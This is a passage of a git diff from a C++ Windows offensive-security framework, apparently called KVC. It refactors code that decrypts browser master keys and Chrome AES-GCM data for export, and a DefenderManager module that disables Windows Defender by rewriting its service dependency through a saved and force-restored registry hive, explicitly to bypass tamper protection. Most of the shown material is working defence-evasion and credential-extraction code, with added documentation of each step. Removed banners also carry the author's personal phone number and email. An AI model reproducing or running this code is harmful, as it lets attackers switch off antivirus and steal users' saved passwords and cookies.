std::vector<BYTE> decoded(decodedSize);
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, decoded.data(), &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
decoded.resize(decodedSize);
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// DPAPI decryption for browser master keys
|
||||
std::vector<BYTE> Controller::DecryptWithDPAPI(const std::vector<BYTE>& encryptedData,
|
||||
const std::vector<RegistryMasterKey>& masterKeys) noexcept
|
||||
@@ -921,31 +842,6 @@ std::string Controller::DecryptChromeAESGCM(const std::vector<BYTE>& encryptedDa
|
||||
return std::string(encryptedData.begin(), encryptedData.end());
|
||||
}
|
||||
|
||||
bool Controller::EnablePrivilege(LPCWSTR privilegeName) noexcept
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid)) {
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp = {};
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||
DWORD lastError = GetLastError();
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result && (lastError == ERROR_SUCCESS);
|
||||
}
|
||||
|
||||
// Browser data extraction with kvc_pass integration
|
||||
bool Controller::ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept
|
||||
{
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerSystemIntegration.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// CryptCore.cpp - Security module entry point and workflow coordination
|
||||
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
|
||||
#include "CryptCore.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// DataExtraction.cpp - Profile discovery and database extraction
|
||||
#include "DataExtraction.h"
|
||||
#include "BrowserCrypto.h"
|
||||
|
||||
@@ -1,29 +1,17 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
/**
|
||||
* @file DefenderManager.cpp
|
||||
* @brief Implementation of Windows Defender Security Engine management
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Implements registry-level manipulation of Windows Defender service dependencies.
|
||||
* Provides atomic operations for enabling/disabling the security engine by modifying
|
||||
* RPC service dependencies in the Windows registry.
|
||||
*/
|
||||
|
||||
#include "DefenderManager.h"
|
||||
#include "common.h"
|
||||
#include <filesystem>
|
||||
#include <algorithm>
|
||||
#include <iostream>
|
||||
@@ -31,23 +19,56 @@ that define these protections.
|
||||
using namespace std;
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Console color helper (using existing SetColor function from main application)
|
||||
extern void SetColor(int color);
|
||||
|
||||
// Console color helper (using your existing SetColor function)
|
||||
extern void SetColor(int color);
|
||||
// ============================================================================
|
||||
// PUBLIC INTERFACE IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Primary interface methods
|
||||
bool DefenderManager::DisableSecurityEngine() noexcept {
|
||||
/**
|
||||
* @brief Disables Windows Defender security engine
|
||||
*
|
||||
* Implementation details:
|
||||
* 1. Calls ModifySecurityEngine(false) to perform registry manipulation
|
||||
* 2. Provides user feedback through console output
|
||||
*
|
||||
* @return bool true if Defender successfully disabled, false on failure
|
||||
*/
|
||||
bool DefenderManager::DisableSecurityEngine() noexcept
|
||||
{
|
||||
std::wcout << L"Disabling Windows Security Engine...\n";
|
||||
return ModifySecurityEngine(false);
|
||||
}
|
||||
|
||||
bool DefenderManager::EnableSecurityEngine() noexcept {
|
||||
/**
|
||||
* @brief Enables Windows Defender security engine
|
||||
*
|
||||
* Implementation details:
|
||||
* 1. Calls ModifySecurityEngine(true) to perform registry manipulation
|
||||
* 2. Provides user feedback through console output
|
||||
*
|
||||
* @return bool true if Defender successfully enabled, false on failure
|
||||
*/
|
||||
bool DefenderManager::EnableSecurityEngine() noexcept
|
||||
{
|
||||
std::wcout << L"Enabling Windows Security Engine...\n";
|
||||
return ModifySecurityEngine(true);
|
||||
}
|
||||
|
||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept {
|
||||
/**
|
||||
* @brief Queries current Windows Defender security engine state
|
||||
*
|
||||
* Detection logic:
|
||||
* 1. Opens Windows Defender service registry key (read-only)
|
||||
* 2. Reads DependOnService REG_MULTI_SZ value
|
||||
* 3. Searches for RpcSs (enabled) or RpcSt (disabled) in dependencies
|
||||
* 4. Returns ENABLED if RpcSs found, DISABLED if RpcSt found, UNKNOWN otherwise
|
||||
*
|
||||
* @return SecurityState Current state of Windows Defender security engine
|
||||
*/
|
||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
||||
{
|
||||
try {
|
||||
HKEY key;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) {
|
||||
@@ -73,8 +94,27 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
|
||||
}
|
||||
}
|
||||
|
||||
// Core engine manipulation - critical path
|
||||
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept {
|
||||
// ============================================================================
|
||||
// CORE OPERATIONS IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Core registry manipulation logic for enable/disable operations
|
||||
*
|
||||
* Atomic operation sequence:
|
||||
* 1. Enable required privileges (SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME)
|
||||
* 2. Create registry snapshot of Services hive to temp file
|
||||
* 3. Modify Windows Defender dependencies in temp registry
|
||||
* 4. Restore modified registry snapshot to live system
|
||||
*
|
||||
* @param enable true to enable Defender (RpcSt→RpcSs), false to disable (RpcSs→RpcSt)
|
||||
* @return bool true if all operations successful, false on any failure
|
||||
*
|
||||
* @note All operations are atomic - partial failure results in rollback
|
||||
* @note Provides detailed console feedback for each step
|
||||
*/
|
||||
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept
|
||||
{
|
||||
try {
|
||||
// Enable required privileges first
|
||||
if (!EnableRequiredPrivileges()) {
|
||||
@@ -111,16 +151,33 @@ bool DefenderManager::ModifySecurityEngine(bool enable) noexcept {
|
||||
}
|
||||
}
|
||||
|
||||
// Registry snapshot creation
|
||||
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept {
|
||||
ctx.tempPath = GetSystemTempPath();
|
||||
/**
|
||||
* @brief Creates temporary registry snapshot for atomic modifications
|
||||
*
|
||||
* Process:
|
||||
* 1. Get system temp path (Windows\temp)
|
||||
* 2. Validate write access to temp directory
|
||||
* 3. Clean up any existing Services.hiv file
|
||||
* 4. Unload any existing HKLM\Temp registry hive
|
||||
* 5. Save HKLM\SYSTEM\CurrentControlSet\Services to Services.hiv
|
||||
* 6. Load Services.hiv as HKLM\Temp for modification
|
||||
*
|
||||
* @param ctx [out] Registry context populated with temp paths and hive file
|
||||
* @return bool true if snapshot created successfully, false on failure
|
||||
*
|
||||
* @note Uses REG_LATEST_FORMAT for maximum compatibility
|
||||
* @note Cleans up existing temp hives to prevent conflicts
|
||||
*/
|
||||
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
|
||||
{
|
||||
ctx.tempPath = ::GetSystemTempPath();
|
||||
if (ctx.tempPath.empty()) {
|
||||
std::wcout << L"Failed to get system temp path\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Ensure temp directory exists and is writable
|
||||
if (!ValidateWriteAccess(ctx.tempPath)) {
|
||||
if (!PathUtils::ValidateDirectoryWritable(ctx.tempPath)) {
|
||||
std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n";
|
||||
return false;
|
||||
}
|
||||
@@ -164,8 +221,26 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Modify Defender service dependencies - core logic
|
||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept {
|
||||
/**
|
||||
* @brief Modifies Windows Defender service dependencies in temp registry
|
||||
*
|
||||
* Modification logic:
|
||||
* 1. Opens HKLM\Temp\WinDefend key (loaded from snapshot)
|
||||
* 2. Reads DependOnService REG_MULTI_SZ value
|
||||
* 3. Transforms RPC service dependency:
|
||||
* - Enable: RpcSt (inactive stub) → RpcSs (active service)
|
||||
* - Disable: RpcSs (active service) → RpcSt (inactive stub)
|
||||
* 4. Writes modified dependencies back to temp registry
|
||||
*
|
||||
* @param ctx Registry context with loaded temp hive
|
||||
* @param enable true to enable Defender, false to disable
|
||||
* @return bool true if dependency modification successful, false on failure
|
||||
*
|
||||
* @note Operates only on temp registry (HKLM\Temp), not live system
|
||||
* @note Automatically closes registry key handle on exit
|
||||
*/
|
||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
||||
{
|
||||
HKEY tempKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to open temporary WinDefend key\n";
|
||||
@@ -200,8 +275,24 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
|
||||
return true;
|
||||
}
|
||||
|
||||
// Restore registry snapshot
|
||||
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept {
|
||||
/**
|
||||
* @brief Restores modified registry snapshot to live system registry
|
||||
*
|
||||
* Restoration process:
|
||||
* 1. Unload temporary HKLM\Temp registry hive (modified snapshot)
|
||||
* 2. Open HKLM\SYSTEM\CurrentControlSet\Services key with write access
|
||||
* 3. Restore modified hive file using RegRestoreKeyW with force flag
|
||||
* 4. Close registry key handle
|
||||
*
|
||||
* @param ctx Registry context with modified hive file path
|
||||
* @return bool true if restore successful, false on failure
|
||||
*
|
||||
* @warning This operation permanently modifies the live system registry
|
||||
* @note Uses REG_FORCE_RESTORE to overwrite existing registry data
|
||||
* @note Warnings about failed unload are informational only (non-critical)
|
||||
*/
|
||||
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept
|
||||
{
|
||||
// Unload temporary registry hive
|
||||
if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) {
|
||||
std::wcout << L"Warning: Failed to unload temporary registry hive\n";
|
||||
@@ -225,64 +316,55 @@ bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexce
|
||||
return true;
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
bool DefenderManager::EnableRequiredPrivileges() noexcept {
|
||||
return EnablePrivilege(SE_BACKUP_NAME) &&
|
||||
EnablePrivilege(SE_RESTORE_NAME) &&
|
||||
EnablePrivilege(SE_LOAD_DRIVER_NAME);
|
||||
// ============================================================================
|
||||
// PRIVILEGE MANAGEMENT IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Enables all required privileges for registry operations
|
||||
*
|
||||
* Required privileges:
|
||||
* - SE_BACKUP_NAME: Allows reading registry hives (RegSaveKeyExW)
|
||||
* - SE_RESTORE_NAME: Allows writing registry hives (RegRestoreKeyW)
|
||||
* - SE_LOAD_DRIVER_NAME: Allows loading/unloading registry hives (RegLoadKeyW/RegUnLoadKeyW)
|
||||
*
|
||||
* @return bool true if all three privileges enabled successfully, false if any fails
|
||||
*
|
||||
* @note All three privileges must be enabled for registry snapshot operations
|
||||
* @note Failure of any single privilege causes entire operation to fail
|
||||
*/
|
||||
bool DefenderManager::EnableRequiredPrivileges() noexcept
|
||||
{
|
||||
return PrivilegeUtils::EnablePrivilege(SE_BACKUP_NAME) &&
|
||||
PrivilegeUtils::EnablePrivilege(SE_RESTORE_NAME) &&
|
||||
PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
|
||||
}
|
||||
|
||||
bool DefenderManager::EnablePrivilege(const wchar_t* privilege) noexcept {
|
||||
HANDLE token;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
|
||||
return false;
|
||||
}
|
||||
// ============================================================================
|
||||
// HELPER UTILITIES IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
bool success = LookupPrivilegeValueW(nullptr, privilege, &luid);
|
||||
if (success) {
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
success = AdjustTokenPrivileges(token, FALSE, &tp, sizeof(tp), nullptr, nullptr) &&
|
||||
GetLastError() != ERROR_NOT_ALL_ASSIGNED;
|
||||
}
|
||||
|
||||
CloseHandle(token);
|
||||
return success;
|
||||
}
|
||||
|
||||
wstring DefenderManager::GetSystemTempPath() noexcept {
|
||||
wchar_t path[MAX_PATH];
|
||||
UINT result = GetWindowsDirectoryW(path, MAX_PATH);
|
||||
if (result == 0 || result > MAX_PATH) return L"";
|
||||
|
||||
return wstring(path) + L"\\temp\\";
|
||||
}
|
||||
|
||||
bool DefenderManager::ValidateWriteAccess(const wstring& path) noexcept {
|
||||
try {
|
||||
fs::create_directories(path);
|
||||
|
||||
wstring testFile = path + L"test.tmp";
|
||||
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
||||
|
||||
if (hTest == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
CloseHandle(hTest);
|
||||
DeleteFileW(testFile.c_str());
|
||||
return true;
|
||||
}
|
||||
catch (...) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept {
|
||||
/**
|
||||
* @brief Reads REG_MULTI_SZ registry value as string vector
|
||||
*
|
||||
* Reading process:
|
||||
* 1. Query value type and size using RegQueryValueExW (initial call)
|
||||
* 2. Validate value is REG_MULTI_SZ type
|
||||
* 3. Allocate buffer for value data
|
||||
* 4. Read value data into buffer
|
||||
* 5. Parse null-terminated strings from buffer
|
||||
* 6. Return vector of strings (empty vector on failure)
|
||||
*
|
||||
* @param key Open registry key handle with KEY_READ access
|
||||
* @param valueName Name of REG_MULTI_SZ value to read
|
||||
* @return std::vector<std::wstring> Vector of strings, empty if value doesn't exist or wrong type
|
||||
*
|
||||
* @note Returns empty vector if value is wrong type or doesn't exist
|
||||
* @note Properly handles null-terminated string array format
|
||||
* @note Does not close registry key handle (caller's responsibility)
|
||||
*/
|
||||
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept
|
||||
{
|
||||
DWORD type, size;
|
||||
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
|
||||
type != REG_MULTI_SZ) {
|
||||
@@ -306,8 +388,26 @@ vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueN
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Writes string vector to REG_MULTI_SZ registry value
|
||||
*
|
||||
* Writing process:
|
||||
* 1. Create buffer for null-terminated string array
|
||||
* 2. Copy each string to buffer with null terminator
|
||||
* 3. Add final double null terminator
|
||||
* 4. Write buffer to registry using RegSetValueExW
|
||||
*
|
||||
* @param key Open registry key handle with KEY_WRITE access
|
||||
* @param valueName Name of REG_MULTI_SZ value to write
|
||||
* @param values Vector of strings to write
|
||||
* @return bool true if write successful, false on failure
|
||||
*
|
||||
* @note Properly formats with double null terminator (REG_MULTI_SZ requirement)
|
||||
* @note Does not close registry key handle (caller's responsibility)
|
||||
*/
|
||||
bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
||||
const vector<wstring>& values) noexcept {
|
||||
const vector<wstring>& values) noexcept
|
||||
{
|
||||
vector<wchar_t> buffer;
|
||||
|
||||
for (const auto& str : values) {
|
||||
@@ -321,8 +421,25 @@ bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
||||
static_cast<DWORD>(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// Cleanup implementation
|
||||
void DefenderManager::RegistryContext::Cleanup() noexcept {
|
||||
// ============================================================================
|
||||
// REGISTRY CONTEXT CLEANUP IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Cleans up temporary registry files and transaction logs
|
||||
*
|
||||
* Cleanup targets:
|
||||
* 1. Main hive file (Services.hiv)
|
||||
* 2. Transaction logs (Services.hiv.LOG1, Services.hiv.LOG2)
|
||||
* 3. Binary log file (Services.hiv.blf)
|
||||
* 4. Registry transaction files (*.regtrans-ms in temp directory)
|
||||
*
|
||||
* @note Safe to call multiple times (idempotent operation)
|
||||
* @note Ignores errors during cleanup (best-effort cleanup)
|
||||
* @note Called automatically by RegistryContext destructor
|
||||
*/
|
||||
void DefenderManager::RegistryContext::Cleanup() noexcept
|
||||
{
|
||||
if (hiveFile.empty()) return;
|
||||
|
||||
// Standard cleanup patterns
|
||||
|
||||
@@ -1,28 +1,98 @@
|
||||
/**
|
||||
* @file DefenderManager.h
|
||||
* @brief Windows Defender Security Engine manipulation through registry-level operations
|
||||
* @author Marek Wesolowski
|
||||
* @date 2025
|
||||
* @copyright KVC Framework
|
||||
*
|
||||
* Provides registry-level manipulation of Windows Defender service dependencies
|
||||
* to enable/disable the security engine, bypassing tamper protection mechanisms.
|
||||
* Requires administrator privileges and system restart for changes to take effect.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
|
||||
/**
|
||||
* @brief Windows Defender Security Engine management through registry manipulation
|
||||
*
|
||||
* This class provides low-level control over Windows Defender by modifying
|
||||
* service dependencies in the registry. Works by changing RPC service dependencies
|
||||
* (RpcSs <-> RpcSt) to enable or disable the security engine.
|
||||
*
|
||||
* @warning Requires SE_BACKUP_NAME, SE_RESTORE_NAME, and SE_LOAD_DRIVER_NAME privileges
|
||||
* @warning System restart required for changes to take effect
|
||||
* @warning Bypasses Windows Defender tamper protection
|
||||
*/
|
||||
class DefenderManager {
|
||||
public:
|
||||
/**
|
||||
* @brief Security engine state enumeration
|
||||
*/
|
||||
enum class SecurityState {
|
||||
ENABLED,
|
||||
DISABLED,
|
||||
UNKNOWN
|
||||
ENABLED, ///< Windows Defender security engine is active (RpcSs dependency)
|
||||
DISABLED, ///< Windows Defender security engine is inactive (RpcSt dependency)
|
||||
UNKNOWN ///< Unable to determine security engine state
|
||||
};
|
||||
|
||||
// Primary interface - matches KVC command pattern
|
||||
/**
|
||||
* @brief Disables Windows Defender security engine
|
||||
*
|
||||
* Modifies Windows Defender service dependencies to prevent engine startup.
|
||||
* Changes RpcSs (active) dependency to RpcSt (inactive stub service).
|
||||
*
|
||||
* @return bool true if operation successful, false on failure
|
||||
*
|
||||
* @note Requires administrator privileges
|
||||
* @note System restart required for changes to take effect
|
||||
* @warning This bypasses Windows Defender tamper protection
|
||||
*/
|
||||
static bool DisableSecurityEngine() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Enables Windows Defender security engine
|
||||
*
|
||||
* Restores Windows Defender service dependencies to normal operation.
|
||||
* Changes RpcSt (inactive) dependency back to RpcSs (active service).
|
||||
*
|
||||
* @return bool true if operation successful, false on failure
|
||||
*
|
||||
* @note Requires administrator privileges
|
||||
* @note System restart required for changes to take effect
|
||||
*/
|
||||
static bool EnableSecurityEngine() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Queries current Windows Defender security engine state
|
||||
*
|
||||
* Reads Windows Defender service dependencies from registry to determine
|
||||
* if the security engine is enabled (RpcSs), disabled (RpcSt), or unknown.
|
||||
*
|
||||
* @return SecurityState Current state of Windows Defender security engine
|
||||
*
|
||||
* @note Does not require elevated privileges for read-only query
|
||||
*/
|
||||
static SecurityState GetSecurityEngineStatus() noexcept;
|
||||
|
||||
private:
|
||||
/**
|
||||
* @brief Registry snapshot context for atomic operations
|
||||
*
|
||||
* Holds temporary registry hive files and paths for atomic
|
||||
* modification of Windows Defender service configuration.
|
||||
*/
|
||||
struct RegistryContext {
|
||||
std::wstring tempPath;
|
||||
std::wstring hiveFile;
|
||||
std::wstring tempPath; ///< Temporary working directory path
|
||||
std::wstring hiveFile; ///< Saved registry hive file path
|
||||
|
||||
RegistryContext() = default;
|
||||
|
||||
/**
|
||||
* @brief Destructor - automatically cleans up temporary files
|
||||
*/
|
||||
~RegistryContext() { Cleanup(); }
|
||||
|
||||
// Non-copyable, movable
|
||||
@@ -31,31 +101,122 @@ private:
|
||||
RegistryContext(RegistryContext&&) = default;
|
||||
RegistryContext& operator=(RegistryContext&&) = default;
|
||||
|
||||
/**
|
||||
* @brief Cleans up temporary registry files and transaction logs
|
||||
*
|
||||
* Removes:
|
||||
* - Main hive file
|
||||
* - Transaction logs (.LOG1, .LOG2)
|
||||
* - Binary log files (.blf)
|
||||
* - Registry transaction files (.regtrans-ms)
|
||||
*
|
||||
* @note Safe to call multiple times (idempotent operation)
|
||||
*/
|
||||
void Cleanup() noexcept;
|
||||
};
|
||||
|
||||
// Core engine manipulation
|
||||
/**
|
||||
* @brief Core registry manipulation logic for enable/disable operations
|
||||
*
|
||||
* Workflow:
|
||||
* 1. Enables required privileges (SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME)
|
||||
* 2. Creates registry snapshot of Services hive
|
||||
* 3. Modifies Windows Defender service dependencies
|
||||
* 4. Restores modified registry snapshot to live registry
|
||||
*
|
||||
* @param enable true to enable Defender, false to disable
|
||||
* @return bool true if all operations successful, false on any failure
|
||||
*
|
||||
* @note Atomic operation - changes are rolled back on failure
|
||||
*/
|
||||
static bool ModifySecurityEngine(bool enable) noexcept;
|
||||
|
||||
// Registry operations - critical path functions
|
||||
/**
|
||||
* @brief Enables all required privileges for registry operations
|
||||
*
|
||||
* Required privileges:
|
||||
* - SE_BACKUP_NAME: Read registry hives
|
||||
* - SE_RESTORE_NAME: Write registry hives
|
||||
* - SE_LOAD_DRIVER_NAME: Load/unload registry hives
|
||||
*
|
||||
* @return bool true if all privileges enabled, false on any failure
|
||||
*/
|
||||
static bool EnableRequiredPrivileges() noexcept;
|
||||
|
||||
/**
|
||||
* @brief Creates temporary registry snapshot for atomic modifications
|
||||
*
|
||||
* Process:
|
||||
* 1. Determines system temp path (Windows\temp)
|
||||
* 2. Validates write access to temp directory
|
||||
* 3. Saves Services registry hive to temporary file
|
||||
* 4. Loads saved hive as HKLM\Temp for modification
|
||||
*
|
||||
* @param ctx [out] Registry context with temp paths and hive file location
|
||||
* @return bool true if snapshot created successfully, false on failure
|
||||
*
|
||||
* @note Creates Services.hiv file in Windows\temp directory
|
||||
*/
|
||||
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Modifies Windows Defender service dependencies in temp registry
|
||||
*
|
||||
* Changes RPC service dependency:
|
||||
* - Enable: RpcSt (inactive) → RpcSs (active)
|
||||
* - Disable: RpcSs (active) → RpcSt (inactive)
|
||||
*
|
||||
* @param ctx Registry context with loaded temp hive
|
||||
* @param enable true to enable Defender, false to disable
|
||||
* @return bool true if dependency modification successful, false on failure
|
||||
*
|
||||
* @note Operates on HKLM\Temp\WinDefend key, not live registry
|
||||
*/
|
||||
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
||||
|
||||
/**
|
||||
* @brief Restores modified registry snapshot to live system registry
|
||||
*
|
||||
* Process:
|
||||
* 1. Unloads temporary HKLM\Temp registry hive
|
||||
* 2. Restores modified hive to HKLM\SYSTEM\CurrentControlSet\Services
|
||||
* 3. Commits changes to live registry
|
||||
*
|
||||
* @param ctx Registry context with modified hive file
|
||||
* @return bool true if restore successful, false on failure
|
||||
*
|
||||
* @warning This operation modifies the live system registry
|
||||
* @note Uses REG_FORCE_RESTORE to overwrite existing registry data
|
||||
*/
|
||||
static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept;
|
||||
|
||||
// Helper utilities
|
||||
/**
|
||||
* @brief Reads REG_MULTI_SZ registry value as string vector
|
||||
*
|
||||
* @param key Open registry key handle
|
||||
* @param valueName Name of REG_MULTI_SZ value to read
|
||||
* @return std::vector<std::wstring> Vector of strings or empty on failure
|
||||
*
|
||||
* @note Returns empty vector if value doesn't exist or wrong type
|
||||
*/
|
||||
